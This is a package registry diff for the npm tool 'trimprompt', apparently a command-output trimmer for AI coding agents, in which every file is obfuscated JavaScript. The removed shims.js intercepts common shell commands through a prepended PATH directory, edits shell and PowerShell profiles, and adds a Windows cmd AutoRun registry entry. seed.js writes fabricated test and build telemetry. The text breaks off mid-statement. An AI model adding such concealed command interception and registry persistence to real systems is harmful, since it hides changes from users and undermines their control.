trimprompt 1.0.30 → 1.0.32
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +13 -0
- package/api-proxy.js +1 -1
- package/cache-manager.js +1 -1
- package/cache.js +1 -1
- package/ccr.js +1 -1
- package/cli.js +1 -1
- package/dashboard.js +1 -1
- package/executor.js +1 -1
- package/file-watcher.js +1 -1
- package/filters/devops.js +1 -1
- package/filters/generic.js +1 -1
- package/filters/git.js +1 -1
- package/filters/go.js +1 -1
- package/filters/index.js +1 -1
- package/filters/js.js +1 -1
- package/filters/python.js +1 -1
- package/filters/rust.js +1 -1
- package/filters/shell.js +1 -1
- package/hooks/claude-hook.js +1 -1
- package/mcp.js +1 -1
- package/package.json +1 -4
- package/proxy-conv.js +1 -1
- package/proxy-daemon.js +1 -1
- package/proxy-resp.js +1 -1
- package/redactor.js +1 -1
- package/seed.js +1 -1
- package/shims.js +1 -1
- package/simulate.js +1 -1
- package/sync.js +1 -1
- package/tracker.js +1 -1
- package/traffic-interceptor.js +1 -1
package/seed.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';
|
|
1
|
+
'use strict';function a0_0x5694(_0x59dfa9,_0x5c42ab){const _0xf7ec55=a0_0xf7ec();return a0_0x5694=function(_0x5694c4,_0x509dfe){_0x5694c4=_0x5694c4-0xcd;let _0x5bdf5a=_0xf7ec55[_0x5694c4];return _0x5bdf5a;},a0_0x5694(_0x59dfa9,_0x5c42ab);}const a0_0x5bd78c=a0_0x5694;function a0_0xf7ec(){const _0x3c1990=['npm\x20run\x20build','16992873fAKPEg','31995QSwVns','1552500eedLxd','114550gHHHlf','test_auth.py\x20PASS\x0a','[INFO]\x20Building\x20modules...\x0a','__esModule','env','repeat','Compilation\x20Output:\x0a','10OMLAil','TRIMPROMPT_MODEL','1765940yeqhaU','2064528NjNaaD','claude-3-opus','Successfully\x20built\x20image.','tracker','defineProperty','548569NRcFRf','logExecution','Seeding\x20TrimPrompt\x20database\x20with\x20mock\x20LLM\x20command\x20telemetry...','test_db.py\x20PASS\x0a','added\x201420\x20packages\x20in\x2014s\x0a','Step\x202/10\x20:\x20COPY\x20package.json\x20.\x0a','./tracker','pytest\x20app:\x20303\x20tests\x20passed\x20in\x204.22s.','40EOqvdW','Step\x201/10\x20:\x20FROM\x20node:20\x0a','All\x20303\x20tests\x20passed\x20in\x204.22s.','log','test_api.py\x20PASS\x0a','pytest\x20tests/app','docker\x20build:\x201420\x20packages\x20added.\x20Successfully\x20built\x20image.','gemini-1-5-pro','[INFO]\x20Building\x20modules...\x0a[SUCCESS]\x20Compiled\x20512\x20modules.\x20(repeated\x20400\x20times)','Database\x20successfully\x20seeded!','docker\x20build\x20.'];a0_0xf7ec=function(){return _0x3c1990;};return a0_0xf7ec();}(function(_0x3941f5,_0x1421a4){const _0x22260d=a0_0x5694,_0x5e21df=_0x3941f5();while(!![]){try{const _0x91755b=-parseInt(_0x22260d(0xed))/0x1*(parseInt(_0x22260d(0xe6))/0x2)+-parseInt(_0x22260d(0xe4))/0x3+-parseInt(_0x22260d(0xf0))/0x4+-parseInt(_0x22260d(0xef))/0x5+parseInt(_0x22260d(0xe5))/0x6+-parseInt(_0x22260d(0xcf))/0x7*(parseInt(_0x22260d(0xd7))/0x8)+parseInt(_0x22260d(0xe3))/0x9;if(_0x91755b===_0x1421a4)break;else _0x5e21df['push'](_0x5e21df['shift']());}catch(_0x187e82){_0x5e21df['push'](_0x5e21df['shift']());}}}(a0_0xf7ec,0x49cc5));Object[a0_0x5bd78c(0xce)](exports,a0_0x5bd78c(0xe9),{'value':!![]});const tracker_1=require(a0_0x5bd78c(0xd5));console[a0_0x5bd78c(0xda)](a0_0x5bd78c(0xd1)),process[a0_0x5bd78c(0xea)][a0_0x5bd78c(0xee)]=a0_0x5bd78c(0xf1),tracker_1[a0_0x5bd78c(0xcd)][a0_0x5bd78c(0xd0)](a0_0x5bd78c(0xe2),a0_0x5bd78c(0xec)+a0_0x5bd78c(0xe8)+'Optimizing\x20assets...\x0a'+'[SUCCESS]\x20Compiled\x20512\x20modules.\x0a'[a0_0x5bd78c(0xeb)](0x190),a0_0x5bd78c(0xdf),0x0),process[a0_0x5bd78c(0xea)][a0_0x5bd78c(0xee)]='gpt-4o',tracker_1[a0_0x5bd78c(0xcd)][a0_0x5bd78c(0xd0)](a0_0x5bd78c(0xdc),'Test\x20suite\x20run\x20starting...\x0a'+a0_0x5bd78c(0xe7)+a0_0x5bd78c(0xd2)+a0_0x5bd78c(0xdb)[a0_0x5bd78c(0xeb)](0x12c)+a0_0x5bd78c(0xd9),a0_0x5bd78c(0xd6),0x0),process['env'][a0_0x5bd78c(0xee)]=a0_0x5bd78c(0xde),tracker_1[a0_0x5bd78c(0xcd)][a0_0x5bd78c(0xd0)](a0_0x5bd78c(0xe1),'Sending\x20build\x20context\x20to\x20Docker\x20daemon...\x0a'+a0_0x5bd78c(0xd8)+a0_0x5bd78c(0xd4)+'Step\x203/10\x20:\x20RUN\x20npm\x20install\x0a'+a0_0x5bd78c(0xd3)[a0_0x5bd78c(0xeb)](0x3)+a0_0x5bd78c(0xf2),a0_0x5bd78c(0xdd),0x0),console[a0_0x5bd78c(0xda)](a0_0x5bd78c(0xe0));
|
package/shims.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
'use strict';const a0_0x3c886e=a0_0x33d6;(function(_0x585440,_0x2619e0){const _0x5772bc=a0_0x33d6,_0x4b06ec=_0x585440();while(!![]){try{const _0x2b514e=parseInt(_0x5772bc(0x7b))/0x1*(-parseInt(_0x5772bc(0xde))/0x2)+-parseInt(_0x5772bc(0xb2))/0x3+-parseInt(_0x5772bc(0xa0))/0x4+-parseInt(_0x5772bc(0x90))/0x5*(-parseInt(_0x5772bc(0x6f))/0x6)+-parseInt(_0x5772bc(0xa4))/0x7+-parseInt(_0x5772bc(0xe2))/0x8*(parseInt(_0x5772bc(0xeb))/0x9)+parseInt(_0x5772bc(0xaf))/0xa;if(_0x2b514e===_0x2619e0)break;else _0x4b06ec['push'](_0x4b06ec['shift']());}catch(_0x232fa1){_0x4b06ec['push'](_0x4b06ec['shift']());}}}(a0_0x2e01,0xe213b));var __createBinding=this&&this[a0_0x3c886e(0xe1)]||(Object[a0_0x3c886e(0x9b)]?function(_0x27a04b,_0x3ce690,_0x4b2c93,_0xead2cf){const _0x4ce157=a0_0x3c886e;if(_0xead2cf===undefined)_0xead2cf=_0x4b2c93;var _0x30ef03=Object[_0x4ce157(0xbd)](_0x3ce690,_0x4b2c93);(!_0x30ef03||('get'in _0x30ef03?!_0x3ce690['__esModule']:_0x30ef03[_0x4ce157(0x9d)]||_0x30ef03['configurable']))&&(_0x30ef03={'enumerable':!![],'get':function(){return _0x3ce690[_0x4b2c93];}}),Object['defineProperty'](_0x27a04b,_0xead2cf,_0x30ef03);}:function(_0x337f9f,_0x3b43d5,_0x3c848c,_0x34b6b6){if(_0x34b6b6===undefined)_0x34b6b6=_0x3c848c;_0x337f9f[_0x34b6b6]=_0x3b43d5[_0x3c848c];}),__setModuleDefault=this&&this[a0_0x3c886e(0x86)]||(Object[a0_0x3c886e(0x9b)]?function(_0x2696aa,_0x5b4a34){const _0x1fa77d=a0_0x3c886e;Object[_0x1fa77d(0xd5)](_0x2696aa,'default',{'enumerable':!![],'value':_0x5b4a34});}:function(_0x1996ec,_0x1416c4){const _0x2b13eb=a0_0x3c886e;_0x1996ec[_0x2b13eb(0x7e)]=_0x1416c4;}),__importStar=this&&this[a0_0x3c886e(0xc2)]||(function(){var _0x12988c=function(_0x316682){const _0x3e419c=a0_0x33d6;return _0x12988c=Object[_0x3e419c(0xdf)]||function(_0x3c2418){const _0x4f78ff=_0x3e419c;var _0x3b1728=[];for(var _0x436157 in _0x3c2418)if(Object[_0x4f78ff(0xea)][_0x4f78ff(0x79)][_0x4f78ff(0x8b)](_0x3c2418,_0x436157))_0x3b1728[_0x3b1728[_0x4f78ff(0x94)]]=_0x436157;return _0x3b1728;},_0x12988c(_0x316682);};return function(_0x3bc3f6){const _0x5979fd=a0_0x33d6;if(_0x3bc3f6&&_0x3bc3f6[_0x5979fd(0xdd)])return _0x3bc3f6;var _0x13831f={};if(_0x3bc3f6!=null){for(var _0x22480b=_0x12988c(_0x3bc3f6),_0x2d0b73=0x0;_0x2d0b73<_0x22480b[_0x5979fd(0x94)];_0x2d0b73++)if(_0x22480b[_0x2d0b73]!==_0x5979fd(0x7e))__createBinding(_0x13831f,_0x3bc3f6,_0x22480b[_0x2d0b73]);}return __setModuleDefault(_0x13831f,_0x3bc3f6),_0x13831f;};}());Object[a0_0x3c886e(0xd5)](exports,a0_0x3c886e(0xdd),{'value':!![]}),exports[a0_0x3c886e(0x71)]=installShims,exports[a0_0x3c886e(0x7a)]=uninstallShims;const fs=__importStar(require('fs')),path=__importStar(require(a0_0x3c886e(0xcc))),os=__importStar(require('os')),SHIMMED_COMMANDS=['ls','tree',a0_0x3c886e(0x70),a0_0x3c886e(0xe9),a0_0x3c886e(0xa8),'rg','ruff','git','gh',a0_0x3c886e(0xe7),a0_0x3c886e(0xa1),a0_0x3c886e(0xb0),'pnpm',a0_0x3c886e(0xc1),'yarn','kubectl',a0_0x3c886e(0x99),a0_0x3c886e(0x92),a0_0x3c886e(0xe8),a0_0x3c886e(0xad),'go',a0_0x3c886e(0xdb)],PROFILE_MARKER='TrimPrompt\x20Shims\x20PATH';function getExecSync(){const _0x385145=a0_0x3c886e;return require('child_process')[_0x385145(0xd6)];}function getExecFileSync(){const _0x10181f=a0_0x3c886e;return require(_0x10181f(0x9e))[_0x10181f(0xe3)];}function ensureProfileContains(_0x3094ea,_0x883947,_0x18880e){const _0x338e09=a0_0x3c886e;try{const _0x478213=path[_0x338e09(0xa2)](_0x3094ea);!fs[_0x338e09(0xcd)](_0x478213)&&fs[_0x338e09(0xa6)](_0x478213,{'recursive':!![]});if(fs['existsSync'](_0x3094ea)){const _0x40fb55=fs[_0x338e09(0xab)](_0x3094ea,_0x338e09(0x77));if(_0x40fb55[_0x338e09(0xc6)](_0x883947))return;fs[_0x338e09(0xc8)](_0x3094ea,_0x18880e,_0x338e09(0x77));}else fs[_0x338e09(0x84)](_0x3094ea,_0x18880e,_0x338e09(0x77));}catch{}}function removeProfileBlock(_0x130307,_0x16c88c){const _0x5976d6=a0_0x3c886e;try{if(!fs[_0x5976d6(0xcd)](_0x130307))return;const _0x9c0a07=fs[_0x5976d6(0xab)](_0x130307,'utf8');if(!_0x9c0a07[_0x5976d6(0xc6)](_0x16c88c))return;const _0x1a6f8c=_0x9c0a07[_0x5976d6(0x8c)]('\x0a'),_0x6fc57a=[];let _0x3a0f04=![];for(let _0x39a4c8=0x0;_0x39a4c8<_0x1a6f8c[_0x5976d6(0x94)];_0x39a4c8++){if(_0x1a6f8c[_0x39a4c8][_0x5976d6(0xc6)](_0x16c88c)){_0x3a0f04=!![];continue;}if(_0x3a0f04){_0x3a0f04=![];continue;}_0x6fc57a[_0x5976d6(0xd0)](_0x1a6f8c[_0x39a4c8]);}const _0x21b166=_0x6fc57a[_0x5976d6(0xb1)]('\x0a')[_0x5976d6(0xcb)](/\n{3,}/g,'\x0a\x0a');fs[_0x5976d6(0x84)](_0x130307,_0x21b166,_0x5976d6(0x77));}catch{}}function a0_0x33d6(_0x35d5c1,_0x105eb9){_0x35d5c1=_0x35d5c1-0x6d;const _0x2e01f1=a0_0x2e01();let _0x33d63a=_0x2e01f1[_0x35d5c1];return _0x33d63a;}function a0_0x2e01(){const _0x58da6a=['__setModuleDefault','filter','\x20\x20\x20\x20\x20\x20for\x20the\x20installation\x20to\x20take\x20effect.','.trimprompt','message','call','split','-NoProfile','readdirSync','try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27','1476725QBSPMO','[Environment]::GetEnvironmentVariable(\x27PATH\x27,\x20\x27User\x27)','pytest','Please\x20add\x20the\x20following\x20path\x20to\x20the\x20front\x20of\x20your\x20User\x20PATH\x20environment\x20variable\x20manually:\x0a\x20\x20','length','\x0aexport\x20PATH=\x22',')\x20else\x20(','\x20\x20set\x20\x22PATH=%PATH:','\x22\x20set\x20\x22PATH=','docker','toLowerCase','create','homedir','writable','child_process','win32','4638944NfDKDS','cargo','dirname',':$PATH\x22','12380655qxhkUX','trim.cmd','mkdirSync','\x20\x20\x20\x20\x20\x20[IMPORTANT]\x20TrimPrompt\x20successfully\x20installed!','grep','\x20-NoProfile\x20-Command\x20\x22','-Command','readFileSync','powershell','pip3','$PROFILE.CurrentUserAllHosts','57713150gmErME','npm','join','1140708AynxvN','HKCU:\x5cSoftware\x5cMicrosoft\x5cCommand\x20Processor','\x20@args\x20}\x20else\x20{\x20&\x20','\x0a#\x20','pipe','shims','rmdirSync','platform','.cmd','chmodSync','.bashrc','getOwnPropertyDescriptor','$PROFILE.CurrentUserCurrentHost','powershell.exe','Please\x20add\x20this\x20to\x20your\x20shell\x20profile\x20(~/.bashrc,\x20~/.zshrc)\x20manually:\x0a\x20\x20export\x20PATH=\x22','npx','__importStar','$sig\x20=\x20\x27[DllImport(\x5c\x22user32.dll\x5c\x22,\x20SetLastError\x20=\x20true,\x20CharSet\x20=\x20CharSet.Auto)]\x20public\x20static\x20extern\x20IntPtr\x20SendMessageTimeout(IntPtr\x20hWnd,\x20uint\x20Msg,\x20IntPtr\x20wParam,\x20string\x20lParam,\x20uint\x20fuFlags,\x20uint\x20uTimeout,\x20out\x20IntPtr\x20lpdwResult);\x27;\x20Add-Type\x20-MemberDefinition\x20$sig\x20-Name\x20\x5c\x22Win32\x5c\x22\x20-Namespace\x20\x5c\x22Win32\x5c\x22\x20-PassThru\x20>\x20$null;\x20[IntPtr]$res\x20=\x200;\x20[void][Win32.Win32]::SendMessageTimeout([IntPtr]0xffff,\x200x001A,\x20[IntPtr]::Zero,\x20\x5c\x22Environment\x5c\x22,\x202,\x201000,\x20[ref]$res);','#!/bin/sh\x0aif\x20command\x20-v\x20trim\x20>/dev/null\x202>&1;\x20then\x20exec\x20trim\x20',':||g\x22);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20','includes','trim','appendFileSync','unlinkSync','TrimPrompt\x20successfully\x20installed\x20for\x20','replace','path','existsSync','755','\x20@args\x20}\x0a','push','export\x20PATH=\x22','Remove-ItemProperty\x20-Path\x20\x27','.ps1','New-Item\x20-Path\x20\x27','defineProperty','execSync','\x20commands.\x0a\x0a[WARNING]\x20Could\x20not\x20automatically\x20update\x20your\x20system\x20PATH.\x20','\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20SilentlyContinue','powershell\x20-NoProfile\x20-Command\x20\x22','\x20\x22$@\x22;\x20fi\x0a','find','\x27\x20-Name\x20AutoRun\x20-Value\x20\x27','__esModule','2721146XGKLGB','getOwnPropertyNames','map','__createBinding','8jMGYbe','execFileSync','ignore','if\x20exist\x20\x22%~dp0..\x5c..\x5cAppData\x5cRoaming\x5cnpm\x5ctrim.cmd\x22','\x20&\x20','glab','pip','read','prototype','4242951hlCRfq','Failed\x20to\x20install\x20shims:\x20','Failed\x20to\x20uninstall\x20shims:\x20',';%PATH%\x22','6FXjriN','cat','installShims','Set-ItemProperty\x20-Path\x20\x27','\x27\x20-Force\x20|\x20Out-Null;\x20Set-ItemProperty\x20-Path\x20\x27','.zshrc',':$PATH\x22\x0a',';=%\x22','utf8','TrimPrompt\x20shims\x20fully\x20uninstalled.\x20All\x20PATH\x20modifications,\x20shell\x20profiles,\x20and\x20registry\x20entries\x20have\x20been\x20cleaned\x20up.','hasOwnProperty','uninstallShims','1deNElr','\x20\x20\x20👉\x20Please\x20restart\x20your\x20terminal\x20window\x20or\x20AI\x20editor\x20(Cursor/Claude)','\x27,\x20\x27User\x27)','default','.profile','some','@echo\x20off','================================================================================','.bash_profile','writeFileSync','\x20%*'];a0_0x2e01=function(){return _0x58da6a;};return a0_0x2e01();}function collectPowerShellProfiles(){const _0x51cf52=a0_0x3c886e,_0xc437f2=getExecSync(),_0x4608e7=[],_0x35cb0b=[[_0x51cf52(0xac),_0x51cf52(0xbe)],[_0x51cf52(0xac),_0x51cf52(0xae)]];try{_0xc437f2('pwsh\x20-NoProfile\x20-Command\x20\x22exit\x200\x22',{'stdio':_0x51cf52(0xe4)}),_0x35cb0b[_0x51cf52(0xd0)](['pwsh',_0x51cf52(0xae)]);}catch{}for(const [_0x58d9b4,_0x3958d6]of _0x35cb0b){try{const _0x182a23=_0xc437f2(_0x58d9b4+_0x51cf52(0xa9)+_0x3958d6+'\x22',{'encoding':'utf8'})[_0x51cf52(0xc7)]();_0x182a23&&!_0x4608e7[_0x51cf52(0x80)](_0xcdff02=>_0xcdff02['toLowerCase']()===_0x182a23[_0x51cf52(0x9a)]())&&_0x4608e7[_0x51cf52(0xd0)](_0x182a23);}catch{}}return _0x4608e7;}function getBashProfilesWindows(){const _0x4cac8b=a0_0x3c886e,_0xfe75c0=os[_0x4cac8b(0x9c)]();return[_0x4cac8b(0xbc),'.bash_profile'][_0x4cac8b(0xe0)](_0x725e8a=>path[_0x4cac8b(0xb1)](_0xfe75c0,_0x725e8a));}function getBroadcastCommand(){const _0x4f002c=a0_0x3c886e;return _0x4f002c(0xc3);}function installShims(){const _0x38ebe2=a0_0x3c886e,_0x414a59=path[_0x38ebe2(0xb1)](os[_0x38ebe2(0x9c)](),_0x38ebe2(0x89),'shims');try{!fs[_0x38ebe2(0xcd)](_0x414a59)&&fs['mkdirSync'](_0x414a59,{'recursive':!![]});const _0x3719e6=os['platform']()===_0x38ebe2(0x9f);for(const _0x4283f1 of SHIMMED_COMMANDS){if(_0x3719e6){const _0x4658e6=path['join'](_0x414a59,_0x4283f1+_0x38ebe2(0xba)),_0x4ee3f8=process.env.APPDATA?path[_0x38ebe2(0xb1)](process.env.APPDATA,_0x38ebe2(0xb0)):'',_0x4be3b2=_0x4ee3f8?'if\x20exist\x20\x22'+path['join'](_0x4ee3f8,_0x38ebe2(0xa5))+'\x22':_0x38ebe2(0xe5),_0x30f26c=[_0x38ebe2(0x81),_0x4be3b2+'\x20(','\x20\x20trim\x20'+_0x4283f1+_0x38ebe2(0x85),_0x38ebe2(0x96),_0x38ebe2(0x97)+_0x414a59+_0x38ebe2(0x76),'\x20\x20'+_0x4283f1+_0x38ebe2(0x85),')'][_0x38ebe2(0xb1)]('\x0d\x0a')+'\x0d\x0a';fs[_0x38ebe2(0x84)](_0x4658e6,_0x30f26c,_0x38ebe2(0x77));const _0x3a9b05=path[_0x38ebe2(0xb1)](_0x414a59,_0x4283f1+_0x38ebe2(0xd3)),_0x4a3df4='if\x20(Get-Command\x20trim\x20-ErrorAction\x20SilentlyContinue)\x20{\x20&\x20trim\x20'+_0x4283f1+_0x38ebe2(0xb4)+_0x4283f1+_0x38ebe2(0xcf);fs[_0x38ebe2(0x84)](_0x3a9b05,_0x4a3df4,'utf8');const _0x2db220=path['join'](_0x414a59,_0x4283f1),_0x4aac16=_0x414a59['replace'](/\\/g,'/')[_0x38ebe2(0xcb)](/^([A-Za-z]):/,(_0x4e68fb,_0x114068)=>'/'+_0x114068['toLowerCase']()),_0x4027c6=_0x38ebe2(0xc4)+_0x4283f1+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x22s|'+_0x4aac16+_0x38ebe2(0xc5)+_0x4283f1+_0x38ebe2(0xda);fs[_0x38ebe2(0x84)](_0x2db220,_0x4027c6,_0x38ebe2(0x77));}else{const _0x3e7291=path[_0x38ebe2(0xb1)](_0x414a59,_0x4283f1),_0x4cee62=_0x38ebe2(0xc4)+_0x4283f1+'\x20\x22$@\x22;\x20else\x20CLEAN_PATH=$(echo\x20\x22$PATH\x22\x20|\x20sed\x20\x27s|[^:]*\x5c.trimprompt/shims:||g\x27);\x20exec\x20env\x20PATH=\x22$CLEAN_PATH\x22\x20'+_0x4283f1+_0x38ebe2(0xda);fs[_0x38ebe2(0x84)](_0x3e7291,_0x4cee62,'utf8'),fs[_0x38ebe2(0xbb)](_0x3e7291,_0x38ebe2(0xce));}}let _0x40607b=![],_0x21a446='';if(_0x3719e6)try{const _0x1a09a7=getExecSync(),_0x19b50d=_0x38ebe2(0xb5)+PROFILE_MARKER+'\x0a$env:PATH\x20=\x20\x22'+_0x414a59+';\x22\x20+\x20$env:PATH\x0a',_0x581991=collectPowerShellProfiles();for(const _0x4f6eba of _0x581991){ensureProfileContains(_0x4f6eba,_0x414a59,_0x19b50d);}try{const _0x50f476=getExecFileSync(),_0x1d8649='if\x20exist\x20\x22'+_0x414a59+_0x38ebe2(0x98)+_0x414a59+_0x38ebe2(0x6e),_0x17895a=_0x38ebe2(0xb3);let _0x1e36d0='';try{const _0x535d72='try\x20{\x20(Get-ItemProperty\x20-Path\x20\x27'+_0x17895a+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}';_0x1e36d0=_0x50f476(_0x38ebe2(0xbf),[_0x38ebe2(0x8d),_0x38ebe2(0xaa),_0x535d72],{'encoding':_0x38ebe2(0x77),'stdio':[_0x38ebe2(0xb6),_0x38ebe2(0xb6),_0x38ebe2(0xe4)]})['trim']();}catch{}if(!_0x1e36d0[_0x38ebe2(0xc6)](_0x414a59)){const _0x4acc7f=_0x1e36d0?_0x1e36d0+_0x38ebe2(0xe6)+_0x1d8649:_0x1d8649,_0x957481=_0x38ebe2(0xd4)+_0x17895a+_0x38ebe2(0x73)+_0x17895a+_0x38ebe2(0xdc)+_0x4acc7f+'\x27';_0x50f476('powershell.exe',[_0x38ebe2(0x8d),_0x38ebe2(0xaa),_0x957481],{'stdio':_0x38ebe2(0xe4)});}}catch{}try{const _0x191e73=_0x414a59['replace'](/\\/g,'/')[_0x38ebe2(0xcb)](/^([A-Za-z]):/,(_0x32fc73,_0x363e65)=>'/'+_0x363e65[_0x38ebe2(0x9a)]()),_0x36d0a8=_0x38ebe2(0xb5)+PROFILE_MARKER+_0x38ebe2(0x95)+_0x191e73+_0x38ebe2(0x75),_0x149f23=getBashProfilesWindows();let _0x33db3d=![];for(const _0x2b69f9 of _0x149f23){fs[_0x38ebe2(0xcd)](_0x2b69f9)&&(ensureProfileContains(_0x2b69f9,_0x191e73,_0x36d0a8),_0x33db3d=!![]);}!_0x33db3d&&ensureProfileContains(_0x149f23[0x0],_0x191e73,_0x36d0a8);}catch{}const _0x41a532=_0x38ebe2(0x91),_0x141905=_0x1a09a7(_0x38ebe2(0xd9)+_0x41a532+'\x22',{'encoding':'utf8','stdio':['pipe',_0x38ebe2(0xb6),_0x38ebe2(0xe4)]})[_0x38ebe2(0xc7)]();if(!_0x141905[_0x38ebe2(0xc6)](_0x414a59)){const _0x49f3d2=_0x414a59+';'+_0x141905,_0x1e278a=_0x49f3d2['replace'](/'/g,'\x27\x27'),_0x1fa333='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0x1e278a+_0x38ebe2(0x7d);_0x1a09a7(_0x38ebe2(0xd9)+_0x1fa333+';\x20'+getBroadcastCommand()+'\x22',{'stdio':_0x38ebe2(0xe4)});}const _0x1bdd05=path[_0x38ebe2(0xb1)](process.env.APPDATA||'',_0x38ebe2(0xb0),'trim.ps1');if(fs[_0x38ebe2(0xcd)](_0x1bdd05))try{fs[_0x38ebe2(0xc9)](_0x1bdd05);}catch{}_0x40607b=!![];}catch(_0x10d375){_0x21a446=_0x38ebe2(0x93)+_0x414a59;}else try{const _0x341dda=_0x38ebe2(0xd1)+_0x414a59+_0x38ebe2(0x75),_0x170492=os['homedir'](),_0x5ff585=[_0x38ebe2(0xbc),_0x38ebe2(0x74),_0x38ebe2(0x83),_0x38ebe2(0x7f)];let _0x423da0=![];for(const _0x196e58 of _0x5ff585){const _0x5168c1=path[_0x38ebe2(0xb1)](_0x170492,_0x196e58);fs[_0x38ebe2(0xcd)](_0x5168c1)&&(ensureProfileContains(_0x5168c1,_0x414a59,_0x38ebe2(0xb5)+PROFILE_MARKER+'\x0a'+_0x341dda),_0x423da0=!![]);}if(!_0x423da0){const _0x4f7021=path[_0x38ebe2(0xb1)](_0x170492,_0x38ebe2(0xbc));ensureProfileContains(_0x4f7021,_0x414a59,_0x38ebe2(0xb5)+PROFILE_MARKER+'\x0a'+_0x341dda);}_0x40607b=!![];}catch(_0x35823c){_0x21a446=_0x38ebe2(0xc0)+_0x414a59+_0x38ebe2(0xa3);}const _0x518fa9=[_0x38ebe2(0x82),_0x38ebe2(0xa7),_0x38ebe2(0x82),_0x38ebe2(0x7c),_0x38ebe2(0x88),_0x38ebe2(0x82)][_0x38ebe2(0xb1)]('\x0a'),_0x452bf6=_0x40607b?_0x518fa9:_0x38ebe2(0xca)+SHIMMED_COMMANDS[_0x38ebe2(0x94)]+_0x38ebe2(0xd7)+_0x21a446;return{'success':!![],'pathDir':_0x414a59,'message':_0x452bf6};}catch(_0x2b0806){return{'success':![],'pathDir':_0x414a59,'message':_0x38ebe2(0xec)+_0x2b0806[_0x38ebe2(0x8a)]};}}function uninstallShims(){const _0x59e709=a0_0x3c886e,_0x3590c4=path['join'](os[_0x59e709(0x9c)](),_0x59e709(0x89),_0x59e709(0xb7)),_0x55fe1d=os[_0x59e709(0xb9)]()===_0x59e709(0x9f);try{if(_0x55fe1d){const _0x5e20de=getExecSync();try{const _0x2862e4=getExecFileSync(),_0x4df328=_0x59e709(0xb3),_0x5af4f7=_0x59e709(0x8f)+_0x4df328+'\x27\x20-Name\x20AutoRun\x20-ErrorAction\x20Stop).AutoRun\x20}\x20catch\x20{\x20\x27\x27\x20}',_0x391587=_0x2862e4(_0x59e709(0xbf),[_0x59e709(0x8d),_0x59e709(0xaa),_0x5af4f7],{'encoding':_0x59e709(0x77),'stdio':['pipe',_0x59e709(0xb6),'ignore']})[_0x59e709(0xc7)]();if(_0x391587[_0x59e709(0xc6)](_0x3590c4)){const _0x2446d1=_0x391587[_0x59e709(0x8c)](_0x59e709(0xe6))['filter'](_0x3c7b96=>!_0x3c7b96[_0x59e709(0xc6)](_0x3590c4));if(_0x2446d1[_0x59e709(0x94)]===0x0){const _0x3570a9=_0x59e709(0xd2)+_0x4df328+_0x59e709(0xd8);_0x2862e4(_0x59e709(0xbf),[_0x59e709(0x8d),_0x59e709(0xaa),_0x3570a9],{'stdio':_0x59e709(0xe4)});}else{const _0x552c6f=_0x2446d1[_0x59e709(0xb1)]('\x20&\x20'),_0x546675=_0x59e709(0x72)+_0x4df328+_0x59e709(0xdc)+_0x552c6f+'\x27';_0x2862e4(_0x59e709(0xbf),[_0x59e709(0x8d),_0x59e709(0xaa),_0x546675],{'stdio':_0x59e709(0xe4)});}}}catch{}try{const _0x136aac=collectPowerShellProfiles();for(const _0x56e06a of _0x136aac){removeProfileBlock(_0x56e06a,PROFILE_MARKER);}}catch{}try{for(const _0x287a21 of getBashProfilesWindows()){removeProfileBlock(_0x287a21,PROFILE_MARKER);}}catch{}try{const _0x27d539=_0x59e709(0x91),_0x5b2fce=_0x5e20de(_0x59e709(0xd9)+_0x27d539+'\x22',{'encoding':'utf8','stdio':[_0x59e709(0xb6),_0x59e709(0xb6),_0x59e709(0xe4)]})[_0x59e709(0xc7)]();if(_0x5b2fce[_0x59e709(0xc6)](_0x3590c4)){const _0x5ead1a=_0x5b2fce['split'](';')[_0x59e709(0x87)](_0x4772b4=>_0x4772b4['trim']()[_0x59e709(0x9a)]()!==_0x3590c4['toLowerCase']())['join'](';'),_0xa4794e=_0x5ead1a['replace'](/'/g,'\x27\x27'),_0x5e9c5c='[Environment]::SetEnvironmentVariable(\x27PATH\x27,\x20\x27'+_0xa4794e+'\x27,\x20\x27User\x27)';_0x5e20de('powershell\x20-NoProfile\x20-Command\x20\x22'+_0x5e9c5c+';\x20'+getBroadcastCommand()+'\x22',{'stdio':'ignore'});}}catch{}}else{const _0xac3f28=os[_0x59e709(0x9c)](),_0x28f466=[_0x59e709(0xbc),_0x59e709(0x74),'.bash_profile',_0x59e709(0x7f)];for(const _0x1f1f50 of _0x28f466){removeProfileBlock(path[_0x59e709(0xb1)](_0xac3f28,_0x1f1f50),PROFILE_MARKER);}}if(fs[_0x59e709(0xcd)](_0x3590c4)){const _0x54fceb=fs[_0x59e709(0x8e)](_0x3590c4);for(const _0x35b2c7 of _0x54fceb){fs[_0x59e709(0xc9)](path['join'](_0x3590c4,_0x35b2c7));}fs[_0x59e709(0xb8)](_0x3590c4);}return{'success':!![],'message':_0x59e709(0x78)};}catch(_0x37a68c){return{'success':![],'message':_0x59e709(0x6d)+_0x37a68c[_0x59e709(0x8a)]};}}
|
|
1
|
+
'use strict';const a0_0x27503b=a0_0x48ae;(function(_0x38b2bf,_0x486d3b){const _0xa38890=a0_0x48ae,_0x17169c=_0x38b2bf();while(!![]){try{const _0x5b8edf=parseInt(_0xa38890(0x1e2))/0x1+parseInt(_0xa38890(0x1a7))/0x2*(parseInt(_0xa38890(0x174))/0x3)+parseInt(_0xa38890(0x188))/0x4*(-parseInt(_0xa38890(0x17c))/0x5)+-parseInt(_0xa38890(0x186))/0x6*(parseInt(_0xa38890(0x185))/0x7)+parseInt(_0xa38890(0x1b5))/0x8+parseInt(_0xa38890(0x1bd))/0x9*(-parseInt(_0xa38890(0x1b6))/0xa)+parseInt(_0xa38890(0x1a5))/0xb*(-parseInt(_0xa38890(0x196))/0xc);if(_0x5b8edf===_0x486d3b)break;else _0x17169c['push'](_0x17169c['shift']());}catch(_0x3d0f02){_0x17169c['push'](_0x17169c['shift']());}}}(a0_0x2644,0x3f351));var 